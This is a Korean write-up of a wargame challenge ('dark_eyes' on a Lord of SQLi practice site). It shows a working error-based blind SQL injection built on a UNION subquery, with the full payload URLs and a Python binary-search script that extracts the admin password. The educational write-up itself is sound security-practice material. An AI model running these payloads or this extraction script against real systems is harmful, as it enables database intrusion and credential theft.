dark_eyes

pw 파라미터에 대한 필터링 문자열은 다음과 같다.

  • ( prob _ . () col if case when sleep benchmark)
    이번 문제도 21. iron_golem 문제와 동일하게 쿼리문 실행에 성공해도 브라우저에 출력되는 응답 값은 없다.

필터링 문자들 때문에 ORDER BY 절에는 조건문을 삽입해서 Blind SQLi 공격이 어려워 보인다.
그래서 이전 문제 21. iron_golem 와 동일하게 WHERE CLAUSE에 UNION 절로 다중 행 반환 시 오류를 발생시키는 방향으로 진행했다.

  • (SELECT 1 UNION SELECT WHERE LENGTH(pw) > 100) 값이 거짓이면 정상적으로 하이라이트 된 PHP 파일을 볼 수 있고
  • (SELECT 1 UNION SELECT WHERE LENGTH(pw) < 100) 값이 참이면 다중 행이 조회되기 때문에 에러가 발생하여 빈 페이지를 반환한다.
https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=%27%20OR%20id=%27admin%27%20AND%20(SELECT%201%20UNION%20SELECT%202%20WHERE%20LENGTH(pw)%3E100)%23


admin 계정의 패스워드 길이는 8바이트인 것으로 확인됐다.
UNION 절 사용 시 오른쪽 SELECT 절에 WHERE 조건을 사용하여 조건에 따라 반환되는 행 개수가 다르도록 유도했다.

(공격 페이로드) ' OR id='admin' AND (SELECT 1 UNION SELECT 2 WHERE LENGTH(pw)=8)%23

https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=%27%20OR%20id=%27admin%27%20AND%20(SELECT%201%20UNION%20SELECT%202%20WHERE%20LENGTH(pw)=8)%23


ORD, SUBSTR 함수를 이용하여 Blind SQLi 공격이 가능한 쿼리를 확인한다.
” ORD(SUBSTR(pw,1,1))>100” 와 같이 WHERE 절의 조건을 작성하여 admin 계정의 패스워드 추출이 가능하다.

(공격 페이로드) ?pw=' OR id='admin' AND (SELECT 1 UNION SELECT 2 WHERE (ORD(SUBSTR(pw,1,1))>100))#


1~N 번째 패스워드의 값을 찾기 전까지는 ORD(SUBSTR(pw,{i},i))<{mid} 의 값이 참이 되어 다중 행이 반환되며,
다중 행이 반환되면 에러가 발생하며 응답 값 길이(Content-Length)가 0 이 된다.
맵핑되는 패스워드를 찾으면 응답 값의 길이가 0 보다 커지기 때문에 이 특징을 이용하여 Blind SQLi 를 진행한다.

import requests
 
t_url = 'https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
password = ''
numValue = ''
 
for i in range(1, 9):
    low = 1
    high = 200000
 
    while low <= high:
        mid = (low + high) // 2
        payload = ( f"?pw=%27%20OR%20id=%27admin%27%20AND%20(SELECT%201%20UNION%20SELECT%202%20WHERE%20(ORD(SUBSTR(pw,{i},1))<{mid}))%23" )
        r = requests.get(t_url + payload, cookies=cookie)
        
        if int(r.headers['Content-Length']) > 0:
            low = mid + 1
        else:
            high = mid - 1
 
        if low > high:
            decimal = high  # 실제 문자코드 확정
            password = password + chr(decimal)
            numValue = numValue + str(decimal)
            
            print(f"Extracted admins password : \n\t[+] {decimal}\n\t[+] {password}")
            break
            
'''실행 결과
Extracted admins password : 
        [+] 53
        [+] 5
[ . . . ]
Extracted admins password : 
        [+] 99
        [+] 5a2f5d3c
'''

추출한 패스워드를 pw 파라미터에 입력해서 GET 요청을 보내면 DARK_EYES 문제도 클리어 가능했다.


🐛.. 🐛.. 🐛..